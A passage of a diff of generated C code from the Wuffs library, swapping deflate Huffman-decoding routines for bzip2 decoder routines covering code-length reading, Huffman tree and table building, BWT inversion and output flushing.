++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_selector += 1u; ++ if (v_selector >= self->private_impl.f_num_huffman_codes) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); ++ goto exit; ++ } ++ } ++ if (v_selector == 0u) { ++ self->private_data.f_huffman_selectors[v_i] = self->private_data.f_mtft[0u]; ++ } else { ++ v_sel_ff = (v_selector & 255u); ++ v_movee = self->private_data.f_mtft[v_sel_ff]; ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_sel_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_sel_ff)); ++ self->private_data.f_mtft[0u] = v_movee; ++ self->private_data.f_huffman_selectors[v_i] = v_movee; ++ } ++ v_i += 1u; + } +- v_status = wuffs_deflate__decoder__init_huff(self, +- 1u, +- v_n_lit, +- (v_n_lit + v_n_dist), +- 0u); +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; +- goto exit; ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_huffman_codes) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ status = wuffs_bzip2__decoder__read_code_lengths(self, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ v_status = wuffs_bzip2__decoder__build_huffman_tree(self, v_i); ++ if (wuffs_base__status__is_error(&v_status)) { ++ status = v_status; ++ goto exit; ++ } ++ wuffs_bzip2__decoder__build_huffman_table(self, v_i); ++ v_i += 1u; ++ } ++ v_i = 0u; ++ v_j = 0u; ++ while (v_i < 256u) { ++ if (self->private_data.f_presence[v_i] != 0u) { ++ self->private_data.f_mtft[(v_j & 255u)] = ((uint8_t)(v_i)); ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 256u) { ++ self->private_data.f_letter_counts[v_i] = 0u; ++ v_i += 1u; + } +- self->private_impl.f_bits = v_bits; +- self->private_impl.f_n_bits = v_n_bits; + + goto ok; + ok: +- self->private_impl.p_init_dynamic_huffman[0] = 0; ++ self->private_impl.p_prepare_block = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_init_dynamic_huffman[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_init_dynamic_huffman[0].v_bits = v_bits; +- self->private_data.s_init_dynamic_huffman[0].v_n_bits = v_n_bits; +- self->private_data.s_init_dynamic_huffman[0].v_n_lit = v_n_lit; +- self->private_data.s_init_dynamic_huffman[0].v_n_dist = v_n_dist; +- self->private_data.s_init_dynamic_huffman[0].v_n_clen = v_n_clen; +- self->private_data.s_init_dynamic_huffman[0].v_i = v_i; +- self->private_data.s_init_dynamic_huffman[0].v_mask = v_mask; +- self->private_data.s_init_dynamic_huffman[0].v_n_extra_bits = v_n_extra_bits; +- self->private_data.s_init_dynamic_huffman[0].v_rep_symbol = v_rep_symbol; +- self->private_data.s_init_dynamic_huffman[0].v_rep_count = v_rep_count; ++ self->private_impl.p_prepare_block = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_prepare_block.v_i = v_i; ++ self->private_data.s_prepare_block.v_selector = v_selector; + + goto exit; + exit: +@@ -35142,285 +34949,295 @@ wuffs_deflate__decoder__init_dynamic_huffman( + return status; + } + +-// -------- func deflate.decoder.init_huff ++// -------- func bzip2.decoder.read_code_lengths + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_deflate__decoder__init_huff( +- wuffs_deflate__decoder* self, +- uint32_t a_which, +- uint32_t a_n_codes0, +- uint32_t a_n_codes1, +- uint32_t a_base_symbol) { +- uint16_t v_counts[16] = {0}; ++wuffs_bzip2__decoder__read_code_lengths( ++ wuffs_bzip2__decoder* self, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; + uint32_t v_i = 0; +- uint32_t v_remaining = 0; +- uint16_t v_offsets[16] = {0}; +- uint32_t v_n_symbols = 0; +- uint32_t v_count = 0; +- uint16_t v_symbols[320] = {0}; +- uint32_t v_min_cl = 0; +- uint32_t v_max_cl = 0; +- uint32_t v_initial_high_bits = 0; +- uint32_t v_prev_cl = 0; +- uint32_t v_prev_redirect_key = 0; +- uint32_t v_top = 0; +- uint32_t v_next_top = 0; +- uint32_t v_code = 0; +- uint32_t v_key = 0; +- uint32_t v_value = 0; +- uint32_t v_cl = 0; +- uint32_t v_redirect_key = 0; +- uint32_t v_j = 0; +- uint32_t v_reversed_key = 0; +- uint32_t v_symbol = 0; +- uint32_t v_high_bits = 0; +- uint32_t v_delta = 0; ++ uint32_t v_code_length = 0; + +- v_i = a_n_codes0; +- while (v_i < a_n_codes1) { +- if (v_counts[(self->private_data.f_code_lengths[v_i] & 15u)] >= 320u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_counts[(self->private_data.f_code_lengths[v_i] & 15u)] += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- v_i += 1u; +- } +- if ((((uint32_t)(v_counts[0u])) + a_n_codes0) == a_n_codes1) { +- return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; + } +- v_remaining = 1u; +- v_i = 1u; +- while (v_i <= 15u) { +- if (v_remaining > 1073741824u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- v_remaining <<= 1u; +- if (v_remaining < ((uint32_t)(v_counts[v_i]))) { +- return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_over_subscribed); +- } +- v_remaining -= ((uint32_t)(v_counts[v_i])); +- v_i += 1u; ++ ++ uint32_t coro_susp_point = self->private_impl.p_read_code_lengths; ++ if (coro_susp_point) { ++ v_i = self->private_data.s_read_code_lengths.v_i; ++ v_code_length = self->private_data.s_read_code_lengths.v_code_length; + } +- if (v_remaining != 0u) { +- if ((a_which == 1u) && (v_counts[1u] == 1u) && ((((uint32_t)(v_counts[0u])) + a_n_codes0 + 1u) == a_n_codes1)) { +- v_i = 0u; +- while (v_i <= 29u) { +- if (self->private_data.f_code_lengths[(a_n_codes0 + v_i)] == 1u) { +- self->private_impl.f_n_huffs_bits[1u] = 1u; +- self->private_data.f_huffs[1u][0u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[v_i] | 1u); +- self->private_data.f_huffs[1u][1u] = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[31u] | 1u); +- return wuffs_base__make_status(NULL); ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_code_lengths_bitmask = 0u; ++ v_i = 0u; ++ while (v_i < 5u) { ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; + } +- v_i += 1u; ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; + } ++ v_code_length <<= 1u; ++ v_code_length |= (self->private_impl.f_bits >> 31u); ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ v_i += 1u; + } +- return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code_under_subscribed); +- } +- v_i = 1u; +- while (v_i <= 15u) { +- v_offsets[v_i] = ((uint16_t)(v_n_symbols)); +- v_count = ((uint32_t)(v_counts[v_i])); +- if (v_n_symbols > (320u - v_count)) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- v_n_symbols = (v_n_symbols + v_count); +- v_i += 1u; +- } +- if (v_n_symbols > 288u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- v_i = a_n_codes0; +- while (v_i < a_n_codes1) { +- if (v_i < a_n_codes0) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- if (self->private_data.f_code_lengths[v_i] != 0u) { +- if (v_offsets[(self->private_data.f_code_lengths[v_i] & 15u)] >= 320u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ v_i = 0u; ++ while (v_i < self->private_impl.f_num_symbols) { ++ while (true) { ++ if ((v_code_length < 1u) || (20u < v_code_length)) { ++ status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); ++ goto exit; ++ } ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; ++ } ++ if ((self->private_impl.f_bits >> 31u) == 0u) { ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ break; ++ } ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; ++ if (self->private_impl.f_n_bits <= 0u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; ++ } ++ self->private_impl.f_bits = (((uint32_t)(v_c8)) << 24u); ++ self->private_impl.f_n_bits = 8u; ++ } ++ if ((self->private_impl.f_bits >> 31u) == 0u) { ++ v_code_length += 1u; ++ } else { ++ v_code_length -= 1u; ++ } ++ self->private_impl.f_bits <<= 1u; ++ self->private_impl.f_n_bits -= 1u; + } +- v_symbols[v_offsets[(self->private_data.f_code_lengths[v_i] & 15u)]] = ((uint16_t)((v_i - a_n_codes0))); +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- v_offsets[(self->private_data.f_code_lengths[v_i] & 15u)] += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } +- v_i += 1u; +- } +- v_min_cl = 1u; +- while (true) { +- if (v_counts[v_min_cl] != 0u) { +- break; +- } +- if (v_min_cl >= 9u) { +- return wuffs_base__make_status(wuffs_deflate__error__bad_huffman_minimum_code_length); +- } +- v_min_cl += 1u; +- } +- v_max_cl = 15u; +- while (true) { +- if (v_counts[v_max_cl] != 0u) { +- break; +- } +- if (v_max_cl <= 1u) { +- return wuffs_base__make_status(wuffs_deflate__error__no_huffman_codes); ++ self->private_impl.f_code_lengths_bitmask |= (((uint32_t)(1u)) << (v_code_length & 31u)); ++ self->private_data.f_bwt[v_i] = v_code_length; ++ v_i += 1u; + } +- v_max_cl -= 1u; +- } +- if (v_max_cl <= 9u) { +- self->private_impl.f_n_huffs_bits[a_which] = v_max_cl; +- } else { +- self->private_impl.f_n_huffs_bits[a_which] = 9u; +- } +- v_i = 0u; +- if ((v_n_symbols != ((uint32_t)(v_offsets[v_max_cl]))) || (v_n_symbols != ((uint32_t)(v_offsets[15u])))) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- if ((a_n_codes0 + ((uint32_t)(v_symbols[0u]))) >= 320u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ ++ goto ok; ++ ok: ++ self->private_impl.p_read_code_lengths = 0; ++ goto exit; + } +- v_initial_high_bits = 512u; +- if (v_max_cl < 9u) { +- v_initial_high_bits = (((uint32_t)(1u)) << v_max_cl); ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_read_code_lengths = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_read_code_lengths.v_i = v_i; ++ self->private_data.s_read_code_lengths.v_code_length = v_code_length; ++ ++ goto exit; ++ exit: ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- v_prev_cl = ((uint32_t)((self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[0u])))] & 15u))); +- v_prev_redirect_key = 4294967295u; +- v_top = 0u; +- v_next_top = 512u; +- v_code = 0u; +- v_key = 0u; +- v_value = 0u; +- while (true) { +- if ((a_n_codes0 + ((uint32_t)(v_symbols[v_i]))) >= 320u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ ++ return status; ++} ++ ++// -------- func bzip2.decoder.build_huffman_tree ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bzip2__decoder__build_huffman_tree( ++ wuffs_bzip2__decoder* self, ++ uint32_t a_which) { ++ uint32_t v_code_length = 0; ++ uint32_t v_symbol_index = 0; ++ uint32_t v_num_branch_nodes = 0; ++ uint32_t v_stack_height = 0; ++ uint32_t v_stack_values[21] = {0}; ++ uint32_t v_node_index = 0; ++ uint16_t v_leaf_value = 0; ++ ++ self->private_data.f_huffman_trees[a_which][0u][0u] = 0u; ++ self->private_data.f_huffman_trees[a_which][0u][1u] = 0u; ++ v_num_branch_nodes = 1u; ++ v_stack_height = 1u; ++ v_stack_values[0u] = 0u; ++ v_code_length = 1u; ++ while (v_code_length <= 20u) { ++ if ((self->private_impl.f_code_lengths_bitmask & (((uint32_t)(1u)) << v_code_length)) == 0u) { ++ v_code_length += 1u; ++ continue; + } +- v_cl = ((uint32_t)((self->private_data.f_code_lengths[(a_n_codes0 + ((uint32_t)(v_symbols[v_i])))] & 15u))); +- if (v_cl > v_prev_cl) { +- v_code <<= (v_cl - v_prev_cl); +- if (v_code >= 32768u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ v_symbol_index = 0u; ++ while (v_symbol_index < self->private_impl.f_num_symbols) { ++ if (self->private_data.f_bwt[v_symbol_index] != v_code_length) { ++ v_symbol_index += 1u; ++ continue; + } +- } +- v_prev_cl = v_cl; +- v_key = v_code; +- if (v_cl > 9u) { +- v_cl -= 9u; +- v_redirect_key = ((v_key >> v_cl) & 511u); +- v_key = ((v_key) & WUFFS_BASE__LOW_BITS_MASK__U32(v_cl)); +- if (v_prev_redirect_key != v_redirect_key) { +- v_prev_redirect_key = v_redirect_key; +- v_remaining = (((uint32_t)(1u)) << v_cl); +- v_j = v_prev_cl; +- while (v_j <= 15u) { +- if (v_remaining <= ((uint32_t)(v_counts[v_j]))) { +- break; +- } +- v_remaining -= ((uint32_t)(v_counts[v_j])); +- if (v_remaining > 1073741824u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- v_remaining <<= 1u; +- v_j += 1u; ++ while (true) { ++ if (v_stack_height <= 0u) { ++ return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_over_subscribed); ++ } else if (v_stack_height >= v_code_length) { ++ break; + } +- if ((v_j <= 9u) || (15u < v_j)) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ v_node_index = v_stack_values[(v_stack_height - 1u)]; ++ if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { ++ self->private_data.f_huffman_trees[a_which][v_node_index][0u] = ((uint16_t)(v_num_branch_nodes)); ++ } else { ++ self->private_data.f_huffman_trees[a_which][v_node_index][1u] = ((uint16_t)(v_num_branch_nodes)); + } +- v_j -= 9u; +- v_initial_high_bits = (((uint32_t)(1u)) << v_j); +- v_top = v_next_top; +- if ((v_top + (((uint32_t)(1u)) << v_j)) > 1024u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ if (v_num_branch_nodes >= 257u) { ++ return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); + } +- v_next_top = (v_top + (((uint32_t)(1u)) << v_j)); +- v_redirect_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_redirect_key >> 1u)])) | ((v_redirect_key & 1u) << 8u)); +- self->private_data.f_huffs[a_which][v_redirect_key] = (268435465u | (v_top << 8u) | (v_j << 4u)); ++ v_stack_values[v_stack_height] = v_num_branch_nodes; ++ self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][0u] = 0u; ++ self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][1u] = 0u; ++ v_num_branch_nodes += 1u; ++ v_stack_height += 1u; + } ++ v_node_index = v_stack_values[(v_stack_height - 1u)]; ++ if (v_symbol_index < 2u) { ++ v_leaf_value = ((uint16_t)((769u + v_symbol_index))); ++ } else if ((v_symbol_index + 1u) < self->private_impl.f_num_symbols) { ++ v_leaf_value = ((uint16_t)((511u + v_symbol_index))); ++ } else { ++ v_leaf_value = 768u; ++ } ++ if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { ++ self->private_data.f_huffman_trees[a_which][v_node_index][0u] = v_leaf_value; ++ } else { ++ self->private_data.f_huffman_trees[a_which][v_node_index][1u] = v_leaf_value; ++ v_stack_height -= 1u; ++ while (v_stack_height > 0u) { ++ v_node_index = v_stack_values[(v_stack_height - 1u)]; ++ if (self->private_data.f_huffman_trees[a_which][v_node_index][1u] == 0u) { ++ break; ++ } ++ v_stack_height -= 1u; ++ } ++ } ++ v_symbol_index += 1u; + } +- if ((v_key >= 512u) || (v_counts[v_prev_cl] <= 0u)) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } ++ v_code_length += 1u; ++ } ++ if (v_stack_height != 0u) { ++ return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); ++ } ++ return wuffs_base__make_status(NULL); ++} ++ ++// -------- func bzip2.decoder.build_huffman_table ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__build_huffman_table( ++ wuffs_bzip2__decoder* self, ++ uint32_t a_which) { ++ uint32_t v_i = 0; ++ uint32_t v_bits = 0; ++ uint16_t v_n_bits = 0; ++ uint16_t v_child = 0; ++ ++ while (v_i < 256u) { ++ v_bits = (v_i << 24u); ++ v_n_bits = 0u; ++ v_child = 0u; ++ while ((v_child < 257u) && (v_n_bits < 8u)) { ++ v_child = self->private_data.f_huffman_trees[a_which][v_child][(v_bits >> 31u)]; ++ v_bits <<= 1u; + #if defined(__GNUC__) + #pragma GCC diagnostic push + #pragma GCC diagnostic ignored "-Wconversion" + #endif +- v_counts[v_prev_cl] -= 1u; ++ v_n_bits += 1u; + #if defined(__GNUC__) + #pragma GCC diagnostic pop + #endif +- v_reversed_key = (((uint32_t)(WUFFS_DEFLATE__REVERSE8[(v_key >> 1u)])) | ((v_key & 1u) << 8u)); +- v_reversed_key >>= (9u - v_cl); +- v_symbol = ((uint32_t)(v_symbols[v_i])); +- if (v_symbol == 256u) { +- v_value = (536870912u | v_cl); +- } else if ((v_symbol < 256u) && (a_which == 0u)) { +- v_value = (2147483648u | (v_symbol << 8u) | v_cl); +- } else if (v_symbol >= a_base_symbol) { +- v_symbol -= a_base_symbol; +- if (a_which == 0u) { +- v_value = (WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); +- } else { +- v_value = (WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[(v_symbol & 31u)] | v_cl); +- } +- } else { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- v_high_bits = v_initial_high_bits; +- v_delta = (((uint32_t)(1u)) << v_cl); +- while (v_high_bits >= v_delta) { +- v_high_bits -= v_delta; +- if ((v_top + ((v_high_bits | v_reversed_key) & 511u)) >= 1024u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } +- self->private_data.f_huffs[a_which][(v_top + ((v_high_bits | v_reversed_key) & 511u))] = v_value; + } ++ self->private_data.f_huffman_tables[a_which][v_i] = ((uint16_t)(((uint16_t)(v_child | ((uint16_t)(v_n_bits << 12u)))))); + v_i += 1u; +- if (v_i >= v_n_symbols) { +- break; +- } +- v_code += 1u; +- if (v_code >= 32768u) { +- return wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- } + } +- return wuffs_base__make_status(NULL); ++ return wuffs_base__make_empty_struct(); + } + +-// ‼ WUFFS MULTI-FILE SECTION +x86_bmi2 +-// -------- func deflate.decoder.decode_huffman_bmi2 ++// -------- func bzip2.decoder.invert_bwt + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("bmi2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_deflate__decoder__decode_huffman_bmi2( +- wuffs_deflate__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__invert_bwt( ++ wuffs_bzip2__decoder* self) { ++ uint32_t v_i = 0; ++ uint32_t v_letter = 0; ++ uint32_t v_sum = 0; ++ uint32_t v_old_sum = 0; + +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint32_t v_table_entry = 0; +- uint32_t v_table_entry_n_bits = 0; +- uint64_t v_lmask = 0; +- uint64_t v_dmask = 0; +- uint32_t v_redir_top = 0; +- uint32_t v_redir_mask = 0; +- uint32_t v_length = 0; +- uint32_t v_dist_minus_1 = 0; +- uint32_t v_hlen = 0; +- uint32_t v_hdist = 0; +- uint32_t v_hdist_adjustment = 0; ++ v_sum = 0u; ++ v_i = 0u; ++ while (v_i < 256u) { ++ v_old_sum = v_sum; ++ v_sum += self->private_data.f_letter_counts[v_i]; ++ self->private_data.f_letter_counts[v_i] = v_old_sum; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < self->private_impl.f_block_size) { ++ v_letter = (self->private_data.f_bwt[v_i] & 255u); ++ self->private_data.f_bwt[(self->private_data.f_letter_counts[v_letter] & 1048575u)] |= (v_i << 12u); ++ self->private_data.f_letter_counts[v_letter] += 1u; ++ v_i += 1u; ++ } ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func bzip2.decoder.flush_fast ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_bzip2__decoder__flush_fast( ++ wuffs_bzip2__decoder* self, ++ wuffs_base__io_buffer* a_dst) { ++ uint32_t v_flush_pointer = 0; ++ uint32_t v_flush_repeat_count = 0; ++ uint8_t v_flush_prev = 0; ++ uint32_t v_block_checksum_have = 0; ++ uint32_t v_block_size = 0; ++ uint32_t v_entry = 0; ++ uint8_t v_curr = 0; + + uint8_t* iop_a_dst = NULL; + uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -35435,217 +35252,204 @@ wuffs_deflate__decoder__decode_huffman_bmi2( + io2_a_dst = iop_a_dst; + } + } +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } + +- if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); +- goto exit; +- } +- v_bits = ((uint64_t)(self->private_impl.f_bits)); +- v_n_bits = self->private_impl.f_n_bits; +- v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); +- v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); +- if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { +- status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); +- goto exit; ++ v_flush_pointer = self->private_impl.f_flush_pointer; ++ v_flush_repeat_count = self->private_impl.f_flush_repeat_count; ++ v_flush_prev = self->private_impl.f_flush_prev; ++ v_block_checksum_have = self->private_impl.f_block_checksum_have; ++ v_block_size = self->private_impl.f_block_size; ++ while ((v_block_size > 0u) && (((uint64_t)(io2_a_dst - iop_a_dst)) >= 255u)) { ++ if (v_flush_repeat_count < 4u) { ++ v_entry = self->private_data.f_bwt[v_flush_pointer]; ++ v_curr = ((uint8_t)(v_entry)); ++ v_flush_pointer = (v_entry >> 12u); ++ if (v_curr == v_flush_prev) { ++ v_flush_repeat_count += 1u; ++ } else { ++ v_flush_repeat_count = 1u; ++ } ++ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_curr))] ^ ((uint32_t)(v_block_checksum_have << 8u))); ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_curr), iop_a_dst += 1); ++ v_flush_prev = v_curr; ++ v_block_size -= 1u; ++ } else { ++ v_entry = self->private_data.f_bwt[v_flush_pointer]; ++ v_curr = ((uint8_t)(v_entry)); ++ v_flush_pointer = (v_entry >> 12u); ++ v_flush_repeat_count = ((uint32_t)(v_curr)); ++ while (v_flush_repeat_count > 0u) { ++ v_block_checksum_have = (WUFFS_BZIP2__REV_CRC32_TABLE[((uint8_t)(((uint8_t)((v_block_checksum_have >> 24u))) ^ v_flush_prev))] ^ ((uint32_t)(v_block_checksum_have << 8u))); ++ if (((uint64_t)(io2_a_dst - iop_a_dst)) > 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_flush_prev), iop_a_dst += 1); ++ } ++ v_flush_repeat_count -= 1u; ++ } ++ v_flush_repeat_count = 0u; ++ v_flush_prev = v_curr; ++ v_block_size -= 1u; ++ } + } +- v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); +- label__loop__continue:; +- while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { +- v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); +- iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- v_redir_top = ((v_table_entry >> 8u) & 65535u); +- v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); +- v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; +- v_table_entry_n_bits = (v_table_entry & 15u); +- v_bits >>= v_table_entry_n_bits; +- v_n_bits -= v_table_entry_n_bits; +- if ((v_table_entry >> 31u) != 0u) { +- (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); +- continue; +- } else if ((v_table_entry >> 30u) != 0u) { +- } else if ((v_table_entry >> 29u) != 0u) { +- self->private_impl.f_end_of_block = true; +- break; +- } else if ((v_table_entry >> 28u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } else if ((v_table_entry >> 27u) != 0u) { +- status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); +- goto exit; +- } +- } else if ((v_table_entry >> 27u) != 